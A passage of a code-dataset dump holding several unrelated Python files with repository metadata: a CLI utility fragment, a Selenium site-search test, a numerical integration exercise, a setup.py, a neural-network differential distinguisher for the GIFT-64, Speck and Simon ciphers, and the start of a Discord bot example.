OSError:\n pass\n return None\n\ndef get_file_lock(path: string, stale=-1):\n return SimplePreemptiveLock(path + '.lock', stale=stale)\n", "repo_name": "microsoft/nni", "sub_path": "nni/tools/nnictl/common_utils.py", "file_name": "common_utils.py", "file_ext": "py", "file_size_in_byte": 3819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13409, "dataset": "github-code", "pt": "7", "api": [{"api_name": "yaml.safe_load", "line_number": 21, "usage_type": "call"}, {"api_name": "yaml.scanner", "line_number": 22, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 34, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 43, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 43, "usage_type": "name"}, {"api_name": "constants.ERROR_INFO", "line_number": 43, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 43, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 47, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 47, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 47, "usage_type": "attribute"}, {"api_name": "constants.NORMAL_INFO", "line_number": 51, "usage_type": "argument"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 55, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 55, "usage_type": "name"}, {"api_name": "constants.WARNING_INFO", "line_number": 55, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 55, "usage_type": "attribute"}, {"api_name": "psutil.Process", "line_number": 60, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 67, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 67, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 67, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 84, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 84, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 84, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 88, "usage_type": "call"}, {"api_name": "filelock.SoftFileLock", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 100, "usage_type": "call"}, {"api_name": "os.O_WRONLY", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.O_CREAT", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.O_EXCL", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.O_TRUNC", "line_number": 104, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 108, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 108, "usage_type": "call"}, {"api_name": "os.open", "line_number": 110, "usage_type": "call"}, {"api_name": "os.close", "line_number": 118, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 121, "usage_type": "call"}]} {"seq_id": "41592297568", "text": "## Reference: http://selenium-python.readthedocs.io/getting-started.html ##\n\n# import time \nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n# checkContent = input(\"Enter content to test: \")\n# print(checkContent)\n\n# List that will contain celebrity names as strings to test for content.\ncontentList = []\nlengthContentList = 4\n\n# Get user input of celebrity names to check content and append it to list.\nwhile len(contentList) < lengthContentList:\n checkContent = raw_input(\"Enter content to test: \")\n print(checkContent)\n contentList.append(checkContent)\n\n# Create of instance of webdriver for Firefox browser.\n#a. This will open Firefox browser.\n## driver = webdriver.Firefox()\n#b. This will open Chrome browser.\ndriver = webdriver.Chrome()\n\n\n# Loop through list to check for content.\nfor i in contentList:\n # Webdriver instance will navigate to URL that has been passed to get(). \n driver.get(\"http://www.jokes4miles.com/jokescontent?category\")\n # Check if string provided is in title element.\n assert \"Jokes4Miles - Content\" in driver.title\n # Find the element by id attribute.\n elem = driver.find_element_by_id(\"content-search\")\n # Print element found to shell.\n print(\"elem is: \" + str(elem))\n\t# Clear input.\n elem.clear()\n # Print list item to shell.\n print(i) \n\t# Send string passed into method to element found.\n elem.send_keys(i)\n\t# Programmatically enter Return key by calling send_key().\n elem.send_keys(Keys.RETURN)\n\t\n\t# Check if string provided is NOT IN the html of the page.\n assert \"No results found.\" not in driver.page_source\n # Wait 3 seconds.\n sleep(3)\n\n# Wait 5 seconds.\nsleep(5)\n# close() closes one tab.\n## driver.close()\n# quit() closes entire browser.\ndriver.quit()", "repo_name": "noribang/Selenium-tests", "sub_path": "selenium-j4m-01c.py", "file_name": "selenium-j4m-01c.py", "file_ext": "py", "file_size_in_byte": 1801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 25, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.RETURN", "line_number": 45, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 45, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}]} {"seq_id": "43063014719", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n# Primera parte\n\n# Soluciones a los ejercicios de la seccion 6.2.5 \n# del libro A Survey of Computational Physics Introductory Computational Science\n# de Landau, Paez, Bordeianu (Python Multimodal eTextBook Beta4.0)\n\n#1. Write a double-precision program to integrate an arbitrary function numerically \n# using the trapezoid rule, the Simpson rule, and Gaussian quadrature.\ndef integra(f, a, b, n_points=10, metodo=\"trapecio\"):\n # Genera siempre un numero impar de puntos\n if n_points%2 == 0:\n n_points = n_points + 1\n\n if metodo==\"trapecio\":\n x = np.linspace(a, b, n_points)\n h = x[1] - x[0]\n w = np.ones(n_points) * h\n w[0] = h/2\n w[-1] = h/2\n elif metodo==\"simpson\":\n x = np.linspace(a, b, n_points)\n h = x[1] - x[0]\n w = np.ones(n_points) \n ii = np.arange(n_points)\n w[ii%2!=0] = 4.0*h/3.0\n w[ii%2==0] = 2.0*h/3.0\n w[0] = h/3\n w[-1] = h/3\n elif metodo==\"cuadratura\":\n y, wprime = np.polynomial.legendre.leggauss(n_points)\n x = 0.5*(b+a) + 0.5*(b-a)*y\n w = 0.5*(b-a)*wprime\n else:\n print('metodo no implementado')\n x = np.zeros(n_points)\n y = np.zeros(n_points)\n\n return np.sum(f(x)*w)\n\ndef func(x):\n return np.sin(x)\n\ndef error(x):\n return np.abs(2-x)/2\n\n# 2 Compute the relative error (epsilon=abs(numerical-exact)/exact) in each case. \n# Present your data in tabular form for N=2,10,20,40,80,160\n\nN = [2,10,20,40,80,160]\nprint(\"Primera Parte\")\nout = open(\"tabla_resultados.dat\", \"w\")\nprint(\"# N\\t e_T\\t e_S \\t e_G\")\nfor n_points in N:\n a = integra(func, 0, np.pi, n_points=n_points, metodo=\"trapecio\")\n b = integra(func, 0, np.pi, n_points=n_points, metodo=\"simpson\")\n c = integra(func, 0, np.pi, n_points=n_points, metodo=\"cuadratura\")\n print(\"{:d}\\t {:.1e} {:.1e} {:.1e}\".format(n_points, error(a), error(b), error(c)))\n out.write(\"{:d}\\t {:.1e} {:.1e} {:.1e}\\n\".format(n_points, error(a), error(b), error(c)))\nout.close()\nprint(\"\")\n\n# 3 Make a log-log plot of relative error versus N\ndata = np.loadtxt(\"tabla_resultados.dat\")\nplt.figure()\nplt.plot(data[:,0], data[:,1], label=\"Trapecio\")\nplt.plot(data[:,0], data[:,2], label=\"Simpson\")\nplt.plot(data[:,0], data[:,3], label=\"Cuadratura\")\n\nplt.xlabel('N')\nplt.ylabel('|error|')\nplt.loglog()\nplt.legend()\nplt.savefig(\"loglogplot.png\")\n\n\n# 4. Use your plot or table to estimate the power-law dependence of the error on N and\n# to determine the nuber of decimal places of precision.\n\nfor i,m in zip([1,2,3],[\"Trapecio\", \"Simpson\", \"Cuadratura\"]):\n power_law = (np.log(data[2,i]) - np.log(data[0,i]))/(np.log(data[2,0]) - np.log(data[0,0]))\n decimal_places = -np.log10(data[-1,i])\n print(\"Metodo {}\".format(m)) \n print(\"\\t Power Law: {:.1f}\".format(power_law))\n print(\"\\t Decimal Places: {:d}\".format(int(decimal_places)))\n\nprint(\"\")\n\n# Segunda parte.\n# Calcule la integral de la función Gamma (https://en.wikipedia.org/wiki/Gamma_function) para z>1. Imprima los resultados Gamma(2), Gamma(3) y Gamma(4). \n\ndef gamma(z, n_points=20):\n def fun(z, x):\n return x**(z-1) * np.exp(-x)\n # Usando la formula de transformacion (6.36) del libro.\n y, wprime = np.polynomial.legendre.leggauss(n_points)\n x = (1+y)/(1-y)\n w = wprime * 2/(1-y)**2\n return np.sum(fun(z,x)*w)\nprint(\"Segunda Parte\")\nprint(\"Gamma(2): {}\\nGamma(3): {}\\nGamma(4): {}\\t\".format(gamma(2), gamma(3), gamma(4)))\n\n\ndef gamma2(z, n_points=20):\n # Usando el cambio de variable u = exp(-x)\n def fun(z,u):\n return (-np.log(u))**(z-1) # diverge para u=0\n a = 0.0\n b = 1.0\n y, wprime = np.polynomial.legendre.leggauss(n_points)\n x = 0.5*(b+a) + 0.5*(b-a)*y\n w = 0.5*(b-a)*wprime\n return np.sum(fun(z,x)*w)\nprint(\"Segunda Parte\")\nprint(\"Gamma(2): {}\\nGamma(3): {}\\nGamma(4): {}\\t\".format(gamma2(2), gamma2(3), gamma2(4)))\n\n", "repo_name": "ComputoCienciasUniandes/FISI2028-201910", "sub_path": "ejercicios/09/JaimeForero_Solucion9.py", "file_name": "JaimeForero_Solucion9.py", "file_ext": "py", "file_size_in_byte": 3940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.linspace", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.polynomial.legendre.leggauss", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.polynomial", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.polynomial.legendre.leggauss", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.polynomial", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.polynomial.legendre.leggauss", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.polynomial", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 115, "usage_type": "call"}]} {"seq_id": "23826598820", "text": "#!/usr/bin/env python\n\ntry:\n\tfrom setuptools import setup\nexcept ImportError:\n\tfrom distutils.core import setup\n\nfrom setuptools import find_packages\nimport os\n\nreadme = open(\"README.rst\").read()\n\nPACKAGE_PATH = os.path.abspath(os.path.join(__file__, os.pardir))\n\nrequired_packages = ['numpy>=1.16.2','numba>=0.43.1','healpy==1.13.0',\n\t'tqdm>=4.42.1']\ntests_required_packages = ['pytest>=2.3']\n\nsetup(\n\tname='hgmca',\n\tversion='1.0.0',\n\tdescription='Hiearchical component seperation package using sparsity.',\n\tlong_description=readme,\n\tlong_description_content_type='text/markdown',\n\tlicense='LICENSE.md',\n\tauthor='Sebastian Wagner-Carena',\n\tauthor_email='sebaswagner@outlook.com',\n\turl='https://github.com/swagnercarena/hgmca',\n\tpackages=find_packages(PACKAGE_PATH),\n\tpackage_data={'s2letbin': ['*']},\n\tpackage_dir={'hgmca': 'hgmca'},\n\tinclude_package_data=True,\n\tinstall_requires=required_packages,\n\tzip_safe=False,\n\ttest_suite='nose.collector',\n\ttests_require=tests_required_packages\n)\n", "repo_name": "swagnercarena/hgmca", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.pardir", "line_number": 13, "usage_type": "attribute"}, {"api_name": "distutils.core.setup", "line_number": 19, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 29, "usage_type": "call"}]} {"seq_id": "31072065397", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 26 08:50:33 2020\n\n@author: tarunyadav\n\"\"\"\n\nfrom keras.models import load_model\nimport numpy as np\nimport gift_64 as gift\nimport speck as sp\nimport simon as si\nimport sys\nfrom os import urandom \nimport os\nfrom tqdm.notebook import tqdm\nfrom random import randint\n\nmodel = load_model(sys.argv[2]);\nfile_name = os.path.basename(sys.argv[2]);\n#model.summary();\n\ndef convert_to_binary_64_block(arr,WORD_SIZE=16,NO_OF_WORDS=8):\n X = np.zeros((NO_OF_WORDS * WORD_SIZE,len(arr[0])),dtype=np.uint8);\n for i in range(NO_OF_WORDS * WORD_SIZE):\n index = i // WORD_SIZE;\n offset = WORD_SIZE - (i % WORD_SIZE) - 1;\n X[i] = (arr[index] >> offset) & 1;\n X = X.transpose();\n return(X);\n\nn = int(sys.argv[3])**int(sys.argv[4]); \nnr = int(sys.argv[5]);\nr_start = int(sys.argv[6]);\nr_mid = int(sys.argv[7]);\nY_Prob_good = float(sys.argv[8]);\ncutoff = int(sys.argv[9]);\ndebug = False;\nif (sys.argv[-1] == \"debug\"):\n debug = True;\ndistinguisher_counter = [];\nfor test in tqdm(range(0,50)):\n prediction_counter = [];\n\n if (sys.argv[1]==\"GIFT_64\"):\n if (sys.argv[10] == \"random_diff\"):\n diff = (randint(0,(2**16)-1),randint(0,(2**16)-1),randint(0,(2**16)-1),randint(0,(2**16)-1));\n elif (sys.argv[10] == \"fix_diff\"):\n diff = (int(sys.argv[11],16),int(sys.argv[12],16),int(sys.argv[13],16),int(sys.argv[14],16));\n \n keys = np.repeat(np.frombuffer(urandom(16),dtype=np.uint16).reshape(8,-1),n,axis=1);\n \n plain0_0 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n plain0_1 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n plain0_2 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n plain0_3 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n \n plain1_0 = plain0_0 ^ diff[0];\n plain1_1 = plain0_1 ^ diff[1];\n plain1_2 = plain0_2 ^ diff[2];\n plain1_3 = plain0_3 ^ diff[3];\n \n ks = gift.expand_key(keys, (r_start-1) + nr);\n cdata0= gift.encrypt((plain0_0, plain0_1, plain0_2, plain0_3), ks,r_start);\n cdata1 = gift.encrypt((plain1_0, plain1_1, plain1_2, plain1_3), ks,r_start);\n cdata0_mid= gift.encrypt((plain0_0, plain0_1, plain0_2, plain0_3), ks[0:r_mid],r_start);\n cdata1_mid = gift.encrypt((plain1_0, plain1_1, plain1_2, plain1_3), ks[0:r_mid],r_start);\n\n X = convert_to_binary_64_block(np.array(cdata0^cdata1),16,4);\n \n elif (sys.argv[1]==\"speck\"):\n if (sys.argv[10] == \"random_diff\"):\n diff = (randint(0,(2**16)-1),randint(0,(2**16)-1));\n elif (sys.argv[10] == \"fix_diff\"):\n diff = (int(sys.argv[11],16),int(sys.argv[12],16));\n keys = np.repeat(np.frombuffer(urandom(8),dtype=np.uint16).reshape(4,-1),n,axis=1);\n \n plain0_0 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n plain0_1 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n \n plain1_0 = plain0_0 ^ diff[0];\n plain1_1 = plain0_1 ^ diff[1];\n \n ks = sp.expand_key(keys, (r_start-1) + nr);\n cdata0= sp.encrypt((plain0_0, plain0_1), ks,r_start);\n cdata1 = sp.encrypt((plain1_0, plain1_1), ks,r_start);\n cdata0_mid= sp.encrypt((plain0_0, plain0_1), ks[0:r_mid],r_start);\n cdata1_mid = sp.encrypt((plain1_0, plain1_1), ks[0:r_mid],r_start);\n X = convert_to_binary_64_block(np.array(cdata0^cdata1),16,2);\n \n elif (sys.argv[1]==\"simon\"):\n if (sys.argv[10] == \"random_diff\"):\n diff = (randint(0,(2**16)-1),randint(0,(2**16)-1));\n elif (sys.argv[10] == \"fix_diff\"):\n diff = (int(sys.argv[11],16),int(sys.argv[12],16)); \n keys = np.repeat(np.frombuffer(urandom(8),dtype=np.uint16).reshape(4,-1),n,axis=1);\n \n plain0_0 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n plain0_1 = np.frombuffer(urandom(2*n),dtype=np.uint16);\n \n plain1_0 = plain0_0 ^ diff[0];\n plain1_1 = plain0_1 ^ diff[1];\n \n ks = si.expand_key(keys, (r_start-1) + nr);\n cdata0= si.encrypt((plain0_0, plain0_1), ks,r_start);\n cdata1 = si.encrypt((plain1_0, plain1_1), ks,r_start);\n cdata0_mid= si.encrypt((plain0_0, plain0_1), ks[0:r_mid],r_start);\n cdata1_mid = si.encrypt((plain1_0, plain1_1), ks[0:r_mid],r_start);\n X = convert_to_binary_64_block(np.array(cdata0^cdata1),16,2);\n \n X_mid = (np.array(cdata0_mid^cdata1_mid)).transpose();\n \n Y_Predict = model.predict_classes(X,batch_size=5000);\n unique_1, counts_1 = np.unique(Y_Predict, return_counts=True);\n if(debug):\n print(\"Predicted No. of desired output diff %s after %d rounds is : %s\\n\"%(str(diff),r_mid,str(dict(zip(unique_1, counts_1))[1])));\n print(\"Real/Random (percentage) %f \\n\"%(dict(zip(unique_1, counts_1))[1] * 100/dict(zip(unique_1, counts_1))[0]));\n Y_Prob = model.predict(X,batch_size=5000);\n unique_1, counts_1 = np.unique(Y_Prob, return_counts=True);\n \n if(debug):\n print(\"Predicted(Probability >= : %s) No. of desired output diff %s after %d rounds is : %s\\n\"%(str(Y_Prob_good),str(diff),r_mid,len(np.where(Y_Prob >= Y_Prob_good)[0])));\n print(np.where(Y_Prob >= Y_Prob_good)[0]);\n prediction_counter.append(len(np.where(Y_Prob >= Y_Prob_good)[0]));\n \n X_mid_diff_indices = np.where(np.all(X_mid==diff,axis=1))[0]\n \n if(debug):\n print(\"Total No. of desired output diff %s after %d rounds is : %d\\n\"%(str(diff),r_mid,len(X_mid_diff_indices)));\n np_prediction_counter = np.array(prediction_counter);\n if(debug):\n print(\"Total No. of samples where prediction is >= %d is: %d\\n\"%(cutoff,len(np.where(np_prediction_counter >= cutoff)[0])));\n distinguisher_counter.append(np_prediction_counter[0]);\nnp_distinguisher_counter = np.array(distinguisher_counter);\n\nprint (\"Total No. of Samples Distinguished (ouf of 50 samples): %d\\n\"%(len(np.where(np_distinguisher_counter >= cutoff)[0])));\nprint (\"No. of predictions with probability greater than %.2f are (50 samples):\\n\"%(Y_Prob_good))\nprint(distinguisher_counter);", "repo_name": "tarunyadav/Differential-ML-Distinguisher", "sub_path": "predictions.py", "file_name": "predictions.py", "file_ext": "py", "file_size_in_byte": 5952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "keras.models.load_model", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 36, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tqdm.notebook.tqdm", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 52, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 54, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 55, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 56, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 57, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 57, "usage_type": "attribute"}, {"api_name": "gift_64.expand_key", "line_number": 64, "usage_type": "call"}, {"api_name": "gift_64.encrypt", "line_number": 65, "usage_type": "call"}, {"api_name": "gift_64.encrypt", "line_number": 66, "usage_type": "call"}, {"api_name": "gift_64.encrypt", "line_number": 67, "usage_type": "call"}, {"api_name": "gift_64.encrypt", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 72, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 73, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 74, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 77, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 79, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 80, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 80, "usage_type": "attribute"}, {"api_name": "speck.expand_key", "line_number": 85, "usage_type": "call"}, {"api_name": "speck.encrypt", "line_number": 86, "usage_type": "call"}, {"api_name": "speck.encrypt", "line_number": 87, "usage_type": "call"}, {"api_name": "speck.encrypt", "line_number": 88, "usage_type": "call"}, {"api_name": "speck.encrypt", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 93, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 94, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 97, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 99, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 100, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 100, "usage_type": "attribute"}, {"api_name": "simon.expand_key", "line_number": 105, "usage_type": "call"}, {"api_name": "simon.encrypt", "line_number": 106, "usage_type": "call"}, {"api_name": "simon.encrypt", "line_number": 107, "usage_type": "call"}, {"api_name": "simon.encrypt", "line_number": 108, "usage_type": "call"}, {"api_name": "simon.encrypt", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 137, "usage_type": "call"}]} {"seq_id": "24522504506", "text": "#https://realpython.com/how-to-make-a-discord-bot-python/\r\n\r\nimport discord\r\nfrom discord.ext import commands\r\n\r\nTOKEN = input(\"Enter discord token: \")\r\n\r\nbot = commands.Bot(command_prefix='!')\r\n\r\n@bot.event\r\nasync def on_ready():\r\n print(f'{bot.user} has connected to Discord!')\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n # Prevent the bot from responding to itself\r\n if message.author == bot.user:\r\n return\r\n print(message.content)\r\n\r\n@bot.command(name='direct-message', help='Direct Message test')\r\nasync def dm(ctx):\r\n member = ctx.author\r\n await member.create_dm()\r\n message = await member.dm_channel.send(\r\n f'Hi {member.name}, I heard you dm me!'\r\n )\r\n #await message.edit(content=\"hi\")\r\n \r\n@bot.command(name='channel-message', help='Send a message to the group')\r\nasync def channel_message(ctx):\r\n ### Message and content\r\n content = \"This is a sample group message, where you can put normal text **with special markdown formatting**, :laughing: and stuff\"\r\n embed = discord.Embed(title=\"Sample Embed\", description=\"This is an embed, where you can put your content inside\", color=0x00ff00)\r\n embed.add_field(name=\"Field\", value=\"You can put your contents inside fields like this\", inline=False)\r\n message = await 